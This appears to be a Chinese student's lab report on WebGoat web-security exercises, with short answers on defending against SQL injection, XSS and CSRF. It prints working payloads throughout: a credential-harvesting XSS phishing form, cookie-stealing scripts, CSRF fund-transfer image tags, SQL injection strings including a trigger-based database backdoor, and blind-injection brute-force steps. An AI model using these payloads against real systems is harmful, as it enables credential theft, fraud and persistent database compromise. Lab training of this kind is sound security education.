20145305 《网络对抗》Web安全基础实践
实践过程及结果截图
Phishing with XSS
在文本框里面写一个钓鱼网站代码就可以了
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
Stored XSS Attakcs
这里相当于是给用户发一个信息,用户在打开这个信息的时候触发了隐藏在信息里面js代码,然后被盗走了cookies。
我们构造语句:
<script>alert(document.cookie);</script>
Reflected XSS Attacks
可以在此处构造js语言得到cookies
<SCRIPT>alert(document.cookie);</SCRIPT>
Cross Site Request Forgery (CSRF)
这个实践是利用cookie冒名登录,用代码伪造请求
在message里面输入 就会发出一个转钱的请求,盗取钱财。
<img src=' attack?Screen=自己网站的scr &menu=自己网站的menu &transferFunds=转钱数额 ' width='1' height='1'>
CSRF Prompt By-Pass
这个就是利用CSRF进行冒名操作转账,填入message的代码如下:
<img src='attack?Screen=271&menu=900&transferFunds=5000' width='1' height='1'>
<img src='attack?Screen=271&menu=900&transferFunds=CONFIRM' width='1' height='1'>
Log Spoofing
利用换行符伪造一个假的日志信息,欺骗人眼
String SQL Injection
这个就是之前网页sql注入的方法,在输入名字那里构造永真式,输入'or 1='1
Database Backdoors
第一步,通过输入101; update employee set salary=70000
来给id为101的人改工资
第二步:留一个后门,让所有新用户的邮箱都是我的,工资都邮到我这里
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='xiejialing@qq.com' WHERE userid = NEW.userid
Blind Numeric SQL Injection
我们知道一个cc_number=1111222233334444,但是想知道其pin在pins表里的值,可以使用盲注进行爆破,输入
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
然后使用BP进行拦截,拦截后action--send to intruder进行爆破,使用sniper模式,选择10000进行数字爆破(选择前先clear将默认的爆破点清除),从1到10000,步长为1,时间会很久
可以发现返回报文的长度从2364开始改变了,所以尝试用2364进行请求,返回成功.那么其pin就为2364,输入2364,成功!
Blind String SQL Injection
跟上面的那个盲注入类似,猜测cc_number='4321432143214321'
的用户名,使用了SQL里的SUBSTRING这个函数,每一个字母进行爆破,原理和数字盲注一样:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) = 'h' );
因为有两个爆破点,一个是SubString函数的第二个参数,一个是字母h,所以使用Cluster Bomb进行爆破
爆破点1 是1-10 10个可能性
爆破点2 是a-z和A-Z 52个可能性
数字代表后门字母在用户名中的位置
基础问题回答
(1)SQL注入攻击原理,如何防御
攻击原理:通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里的组合,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数
据,致使非法数据侵入系统
防御:利用输入规则限制进行防御,不允许特殊字符输入
(2)XSS攻击的原理,如何防御
攻击原理:是一种网站应用程序的安全漏洞攻击,是代码注入的一种
防御:对用户输入的数据进行合法性验证,对输入参数进行过滤,与可执行代码、特殊字符相关的不允许通过
(3)CSRF攻击原理,如何防御
攻击原理:对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站
防御:定时清理COOKIE,尽量避免访问危险网站
实践总结与体会
最后一次实验了,完美